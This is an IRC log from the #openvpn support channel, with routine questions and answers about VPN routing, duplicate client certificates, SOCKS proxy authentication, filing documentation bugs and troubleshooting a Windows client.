01:14 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
01:14 -!- sybariten [~jake@s83-191-227-49.cust.tele2.se] has joined #openvpn
01:16 -!- sybariten [~jake@s83-191-227-49.cust.tele2.se] has quit [Max SendQ exceeded]
01:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:16 -!- lamokie_ [~steve@li428-245.members.linode.com] has joined #openvpn
01:17 -!- illuminated [~booyah@adsl-108-67-82-47.dsl.okcyok.sbcglobal.net] has left #openvpn []
01:17 -!- Perun_ [perun@chao5.net] has quit [Ping timeout: 240 seconds]
01:17 -!- lamokie [~steve@li428-245.members.linode.com] has quit [Ping timeout: 240 seconds]
01:17 -!- guntha [~guntha@unaffiliated/guntha] has quit [Ping timeout: 240 seconds]
01:17 -!- master_o1_master [~master_of@p4FD7B54F.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
01:18 -!- master_of_master [~master_of@p4FD7B54F.dip0.t-ipconnect.de] has joined #openvpn
01:20 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:23 -!- Perun [perun@chao5.net] has joined #openvpn
01:23 -!- suprMan` [~clark_ken@109.161.155.67] has joined #openvpn
01:24 < suprMan`> hi need help with openvpn connectvity.. opensuse server and windows 7 client.... the file transfer speed is very slow......
01:26 < suprMan`> how can i improve the speed..
01:26 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-sdupnijsutyfwspu] has quit [Ping timeout: 240 seconds]
01:27 -!- Tera [~tera@unaffiliated/tera] has quit [Ping timeout: 240 seconds]
01:27 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
01:28 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 260 seconds]
01:36 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:37 -!- vertigo-- [~bleach@0133500409.0.fullrate.dk] has joined #openvpn
01:40 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:44 -!- vertigo-- is now known as vertigo
01:45 -!- vertigo is now known as Guest10696
01:46 -!- guntha [~guntha@unaffiliated/guntha] has joined #openvpn
01:52 -!- Six6siX [~six6@jasmine1.sammybakar.com] has quit [Ping timeout: 240 seconds]
01:52 -!- Six6siX_ [~six6@jasmine1.sammybakar.com] has joined #openvpn
01:53 -!- Six6siX_ is now known as Six6siX
01:53 -!- Minnebo [~Minnebo@d5153061a.static.telenet.be] has joined #openvpn
02:09 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
02:15 -!- Minnebo [~Minnebo@d5153061a.static.telenet.be] has quit [Ping timeout: 264 seconds]
02:22 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:23 -!- Minnebo [~Minnebo@d5153061a.static.telenet.be] has joined #openvpn
02:27 -!- Minnebo [~Minnebo@d5153061a.static.telenet.be] has quit [Read error: No route to host]
02:27 -!- Minnebo [~Minnebo@d5153061a.static.telenet.be] has joined #openvpn
02:32 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
02:41 -!- suprMan` [~clark_ken@109.161.155.67] has quit [Ping timeout: 252 seconds]
02:51 -!- jeev [~j@unaffiliated/jeev] has quit [Ping timeout: 245 seconds]
02:52 -!- Minnebo [~Minnebo@d5153061a.static.telenet.be] has quit [Ping timeout: 252 seconds]
03:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
03:17 -!- tw [~brassica@unaffiliated/tw-nym] has quit [Ping timeout: 240 seconds]
03:19 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:22 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-sjmvvufzxnrqoquq] has joined #openvpn
03:25 -!- tw [~brassica@unaffiliated/tw-nym] has joined #openvpn
03:29 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:32 -!- penth [~rachel@c-68-81-92-61.hsd1.pa.comcast.net] has quit [Remote host closed the connection]
03:33 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
03:34 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Quit: elfixit]
03:45 -!- wikigazer [~mpb@host109-148-176-5.range109-148.btcentralplus.com] has joined #openvpn
03:51 -!- geaaru [~geaaru@host170-152-static.43-88-b.business.telecomitalia.it] has joined #openvpn
03:51 -!- phantomcircuit_ is now known as phantomcircuit
03:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:07 -!- Minnebo [~Minnebo@d5153061a.static.telenet.be] has joined #openvpn
04:07 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:21 -!- Minnebo [~Minnebo@d5153061a.static.telenet.be] has quit [Ping timeout: 268 seconds]
04:29 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:34 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has quit [Ping timeout: 248 seconds]
04:36 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
04:45 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 265 seconds]
04:46 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 264 seconds]
04:48 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has joined #openvpn
05:00 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has quit [Quit: reboot]
05:05 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
05:18 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
05:18 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
05:40 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
05:44 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
05:44 -!- mode/#openvpn [+o mattock_afk] by ChanServ
05:44 -!- mattock_afk is now known as mattock
05:58 -!- joeka [~ohw@2001:4dd0:ff00:90f6:b8e6:2248:7e44:8018] has joined #openvpn
05:58 < joeka> hello
05:59 < joeka> and I just found the solution to my problem :D
05:59 < joeka> good bye
05:59 -!- joeka [~ohw@2001:4dd0:ff00:90f6:b8e6:2248:7e44:8018] has quit [Client Quit]
06:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit []
06:32 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
06:36 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 248 seconds]
06:36 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
06:37 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
06:48 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
07:00 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:01 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
07:02 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
07:05 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has joined #openvpn
07:11 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has quit [Quit: leaving]
07:13 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has joined #openvpn
07:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:26 -!- klein_ [~klein@unaffiliated/klein] has joined #openvpn
07:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:58 -!- master_o1_master [~master_of@p4FD7BB2E.dip0.t-ipconnect.de] has joined #openvpn
08:02 -!- master_of_master [~master_of@p4FD7B54F.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
08:16 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
08:17 -!- Chocobo_ [~swinchen@68.232.186.227] has joined #openvpn
08:17 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:20 < Chocobo> Can someone help me understand the routing table created by openvpn?  http://pastie.org/pastes/8389341/text   I don't understand the purpose of the 0.0.0.0/1 route...  further down in the table there is a 128.0.0.0/1 rule.
08:21 <@ecrist> it's so that your "real" default route doesn't get deleted
08:22 <@ecrist> openvpn, when push "redirect-gateway def1" is pushed to clients, openvpn creates a static route for the local default gateway, then two routes that effectively route everything else out via openvpn
08:24 < Chocobo> Maybe I am not looking at it correctly.  It looks like all traffic that has a 1 in the most significant position (128.0.0.0 and up) will be routed out through my local default gateway?
08:25 <@ecrist> the combination of 0.0.0.0/1 and 128.0.0.0/1 result in everything that doesn't have a more specific route in the table, to go out via openvpn
08:27 < Chocobo> Ahh, I think I didn't understand the order the routes where applied... it goes from most specific to least specific, not top-to-bottom?
08:29 <@ecrist> correct
08:30 <@ecrist> most specific, lowest cost, to least specific, highest cost
08:30 < Chocobo> If that is the case cool... the only traffic that will be going out through my local ip are packets destine for my local network.   Looks like pretty much everything else will go out through openvpn.
08:30 <@ecrist> yup
08:31 < Chocobo> cost being the Metric?  So if two rules are equally specific then it selects the rule with the lowest Metric?
08:31 < Chocobo> Man, I am having a hell of a time find a good source of this information using Google.
08:31 <@ecrist> correct
08:31 <@ecrist> this is all just basic routing
08:31 <@ecrist> !101
08:31 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
08:31 <@ecrist> :)
08:33 < Chocobo> ecrist: I know, I am sorry.   I have been looking for a good networking channel.   Thank you for your help despite me asking 101 questions.
08:33 -!- Laverne [~Laverne@devilsown.net] has quit [Remote host closed the connection]
08:33 <@ecrist> no problem.
08:33 < Chocobo> linux-ip.net actually looks like it might be a good primer.
08:33 <@ecrist> I don't mind specific questions, most here don't.
08:34 < Chocobo> Ahh, good to know.  Thanks.
08:34 <@ecrist> what we don't like, and what !101 really refers to is the folks that aren't actually trying to understand, and come in asking overly-general questions
08:34 < Chocobo> "How do I setup an openvpn server to download illegal movies?"
08:35 <@ecrist> yeah
08:35 <@ecrist> that sort of thing ;)
08:35 < Chocobo> I can see that getting old.
08:40 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 268 seconds]
08:40 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
08:43 -!- Laverne [~Laverne@devilsown.net] has quit [Client Quit]
08:43 -!- gardar [~gardar@gardar.net] has joined #openvpn
08:45 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
08:54 -!- Chocobo_ [~swinchen@68.232.186.227] has quit [Quit: leaving]
08:54 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has quit [Quit: leaving]
09:01 -!- kirin` [telex@gateway/shell/anapnea.net/x-inrwuppmdkahhyna] has quit [Ping timeout: 240 seconds]
09:01 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
09:02 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:02 -!- kirin` [telex@gateway/shell/anapnea.net/x-hhvbstjbmfokboas] has joined #openvpn
09:55 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:02 -!- Laverne [~Laverne@devilsown.net] has quit [Ping timeout: 264 seconds]
10:04 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
10:10 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
10:22 -!- Sazpaimon_ [wat@96.227.217.235] has quit [Changing host]
10:22 -!- Sazpaimon_ [wat@unaffiliated/Sazpaimon] has joined #openvpn
10:38 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
10:38 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-fvdpxofwzybupcym] has joined #openvpn
10:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:42 -!- eval-_ is now known as eval-
10:45 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:45 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
10:46 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Quit: elfixit]
10:50 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 252 seconds]
10:50 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
10:50 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:51 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
11:01 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
11:06 -!- zamba [marius@flage.org] has quit [Quit: WeeChat 0.3.8]
11:07 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 268 seconds]
11:12 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
11:13 -!- wikigazer [~mpb@host109-148-176-5.range109-148.btcentralplus.com] has quit [Quit: W-w-w-w-w-woo-oo-ooosh!]
11:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:23 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:25 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: No route to host]
11:25 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
11:35 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:01 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
12:02 -!- Cultist_ [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
12:04 -!- Cultist_ [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
12:05 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has quit [Read error: Connection reset by peer]
12:06 -!- FaV1r3s [~FaV1r3s@2a00:d880:3:1::dc9:c86a] has joined #openvpn
12:06 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
12:07 -!- FaV1r3s [~FaV1r3s@2a00:d880:3:1::dc9:c86a] has quit [Changing host]
12:07 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has joined #openvpn
12:13 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has quit [Read error: Connection reset by peer]
12:17 -!- FaV1r3s [~FaV1r3s@2a00:d880:3:1::dc9:c86a] has joined #openvpn
12:19 -!- FaV1r3s [~FaV1r3s@2a00:d880:3:1::dc9:c86a] has quit [Changing host]
12:19 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has joined #openvpn
12:20 -!- klein_ is now known as klein
12:30 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:30 -!- kiyor [~kiyor@12.13.90.183] has quit [Client Quit]
12:30 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:31 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
12:36 -!- raidz is now known as raidz_away
12:38 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
12:47 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:51 -!- ade_b [~Ade@80.72.60.32] has joined #openvpn
12:51 -!- ade_b [~Ade@80.72.60.32] has quit [Changing host]
12:51 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:59 -!- raidz_away is now known as raidz
13:16 -!- geaaru [~geaaru@host170-152-static.43-88-b.business.telecomitalia.it] has quit [Quit: Leaving]
13:28 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
13:29 < pie_> !freebsd
13:29 <@vpnHelper> "freebsd" is http://www.secure-computing.net/wiki/index.php/OpenVPN_Server
13:35 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
13:35 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
13:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:41 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
13:41 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
13:49 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 268 seconds]
13:58 -!- raidz is now known as raidz_away
14:12 -!- raidz_away is now known as raidz
14:14 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
14:24 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:33 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
14:37 -!- raidz is now known as raidz_away
14:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit []
14:43 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
14:45 -!- raidz_away is now known as raidz
14:45 < heraclitus> only one concurrent connection per client key is allowed, right? my testing seems to show that, but I wanted to make sure that's the case.
14:46 <@krzee> !dupe
14:46 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
14:46 <@krzee> you are correct for normal usage
14:46 <@krzee> it is able to be changed, but best is to leave it
14:47 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
14:50 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
14:51 < crass> I'm using openvpn tcp with socks, it is there a way to tell it which auth mechanisms are supported?
14:51 < crass> I'd like to have openvpn say user/pass auth is not supported
14:59 <@krzee> what do you want openvpn to do?
15:02 < crass> I want it to connect through my socks proxy
15:02 < crass> without any auth
15:03 < crass> I see some auth options for the http proxy, but not for socks
15:04 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 268 seconds]
15:11 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 240 seconds]
15:19 < pie_> im on freebsd, i used to be able to do some kind of weird magic where i started openvpn in my jail then i would be able to configure the tun1 interface to not be point to point but rather like a normal network, whatever that would be called, so id be able to do ifconfig tun1 10.0.3.1/24
15:20 < pie_> i made a new install and i cant replicate it now
15:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
15:21 -!- xeqution [~z6@unaffiliated/z6] has quit []
15:27 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
15:32 -!- mattock is now known as mattock_afk
15:54 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
15:58 -!- oomph [~oomph@23.30.10.209] has joined #openvpn
15:59 < crass> is there a way to pass credentials to a socks server that I must go through?
16:00 < crass> I see that --http-proxy allows an authfile
16:01 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
16:04 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Read error: Connection reset by peer]
16:04 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
16:05 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 248 seconds]
16:06 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:08 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:12 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
16:13 -!- DrFoo [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has joined #openvpn
16:13 < DrFoo> does the open vpn iphone app allow you to connect to a pc to play your music library?
16:14 < gac> not really, it just provides the connectivity for other apps to use
16:14 < DrFoo> gac: so I can use my vnc viewer + ovpn to connect to my server?
16:15 < DrFoo> (instead of opening a port on my router for vnc)
16:15 < gac> yeah. you use openvpn to get a connection to your network and then you can run pretty much the same stuff remotely that you can from within the LAN
16:21 -!- DrFoo is now known as Shinobi
16:21 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
16:30 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has joined #openvpn
16:36 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
16:37 -!- MacGyver_ [~MacGyver@sog.polvanaubel.com] has quit [Quit: leaving]
16:45 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Read error: Operation timed out]
16:46 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
16:50 -!- Guest10696 [~bleach@0133500409.0.fullrate.dk] has quit []
16:56 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
16:57 < crass> is there no bug tracker for openvpn?
16:57 < crass> https://community.openvpn.net/openvpn/wiki/TesterDocumentation#Reportingbugs doesn't actually say where to report bugs
16:57 <@vpnHelper> Title: TesterDocumentation – OpenVPN Community (at community.openvpn.net)
16:58 <+pekster> crass: https://community.openvpn.net/openvpn/report
16:58 <@vpnHelper> Title: Available Reports – OpenVPN Community (at community.openvpn.net)
16:59 < crass> thanks pekster
17:01 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 265 seconds]
17:05 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:05 -!- mode/#openvpn [+v s7r] by ChanServ
17:07 < atmosx> I'm writing a tool to get info about OpenVPN clients and server via web (visually): https://github.com/atmosx/elenchos/ any ideas on what else could be reported or what else should be reported, are welcomed. Thanks
17:07 <@vpnHelper> Title: atmosx/elenchos · GitHub (at github.com)
17:30 -!- JackWinter_ [~jack@vodsl-11200.vo.lu] has joined #openvpn
17:31 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Ping timeout: 248 seconds]
17:41 <@krzee> atmosx, maybe a list of networks behind any clients (if they exist)
17:41 <@krzee> offline clients and their last login?
17:42 <@krzee> atmosx, you could even make a link for disconnecting the client
17:50 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has left #openvpn []
17:51 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
17:54 -!- JackWinter_ [~jack@vodsl-11200.vo.lu] has quit [Ping timeout: 248 seconds]
17:55 -!- JackWinter_ [~jack@vodsl-8422.vo.lu] has joined #openvpn
17:57 -!- toothe [~mongolian@unaffiliated/toothe] has joined #openvpn
17:57 < toothe> Can OpenVPN leverage AD?
17:57 < toothe> oh wait...google exists
17:58 <@krzee> it would just be a script
17:58 <@krzee> !activedirectory
17:58 <@vpnHelper> "activedirectory" is http://amigo4life.googlepages.com/openvpn for the guide of how to auth against AD
17:59 -!- raidz is now known as raidz_away
18:01 -!- raidz_away is now known as raidz
18:06 -!- JackWinter_ [~jack@vodsl-8422.vo.lu] has quit [Ping timeout: 252 seconds]
18:13 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 248 seconds]
18:13 -!- JackWinter_ [~jack@vodsl-4997.vo.lu] has joined #openvpn
18:26 -!- mirco [~mirco@p50800D84.dip0.t-ipconnect.de] has joined #openvpn
18:28 -!- raidz is now known as raidz_away
18:29 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:44 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
18:53 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving]
18:54 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
19:00 -!- mirco [~mirco@p50800D84.dip0.t-ipconnect.de] has quit [Quit: Verlassend]
19:00 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:17 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Connection reset by peer]
19:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:18 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
19:22 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
19:25 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:36 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 252 seconds]
19:46 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
19:46 < crass> I've registered witht he trac bug tacker, but I don't see where to submit a new bug
20:03 <+pekster> crass: "Report Bug" button...
20:04 < crass> pekster: not there
20:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:09 <+pekster> It is if you're logged in
20:10 -!- Cubox [cubox@unaffiliated/cubox] has left #openvpn ["WeeChat 0.4.2-rc2"]
20:12 < crass> hmm, I thought I was... but wasn't
20:17 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:24 <@ecrist> lol
20:34 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
20:36 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has left #openvpn []
20:40 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
20:41 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
20:42 < crass> pekster: now it says my bug is spam? wtf?
20:42 <@ecrist> crass: post your bug report to pastebin an dI'll look at it
20:43 < crass> ecrist: well, perhaps I could just tell you here
20:43 < crass> its a documentation bug, basically ""
20:43 < crass> "--socks-proxy server [port]" should be "--socks-proxy server [port] [authfile]"
20:43 <@ecrist> if I don't know what you posted to trac, i can't adjust the spam filter. :)
20:45 < crass> well it won't be exactly what i posted because that's now gone
20:46 < crass> you guys do some kind of js or something that messes with browser caching
20:47 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
20:47 <@ecrist> we don't, trac might
20:48 < crass> oh, hmm, it probably thinks its spam cause my ip changes very frequently
20:49 < crass> yeah that was it, looks like it just accepted my ticket
20:50 < crass> when used as a client, does open vpn ask for a password at the cmdline for http proxy?
20:53 <+pekster> Only if the server requires it; have you seen --http-proxy option?
20:54 < crass> yeah, I was just wondering if it would be consistent to file a bug requesting that --socks-proxy have the same behavior
21:10 < hjohnson> ok.. wtf can't I actually send data over this OpenVPN tunnel... Windows 7 client, linux server, I'm also logged into it with OpenVPN from my mac, and that works
21:11 < hjohnson> windows machine succesfully logs in, gets assigned an IP address, openvpn on the server shows everything hunkydory
21:12 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Ping timeout: 268 seconds]
21:12 < hjohnson> ok... and sniffing traffic on the VPN server, I can see openvpn packets going back and forth
21:12 <@ecrist> !logs
21:12 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
21:12 <@ecrist> !configs
21:12 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
21:13  * ecrist begins migrating forums to new server
21:13 < hjohnson> ecrist: can do... i've looked at them already though, and they all seem kosher and match clients that do work
21:14 -!- crass [~crass@public-nat-d.vpngate.net] has joined #openvpn
21:14 <@ecrist> hjohnson: it's not about what you think of your logs, it's about what we think
21:14 <+pekster> crass: Possibly if you need one, although I'm not sure we aim to be RFC1928-compliant since GSSAPI probably won't be supported as part of openvpn
21:14 <@ecrist> often, users don't know what they're looking for.
21:15 <+pekster> My understanding is that both the http and SOCKS5 support was more of a convenience than anything
21:15 < hjohnson> *facepalm*
21:15 < hjohnson> yeah, windows route insert command failed
21:15 < hjohnson> you're absolutely right, I should ahve posted that and looked at things properly
21:15 < hjohnson> mia culpa
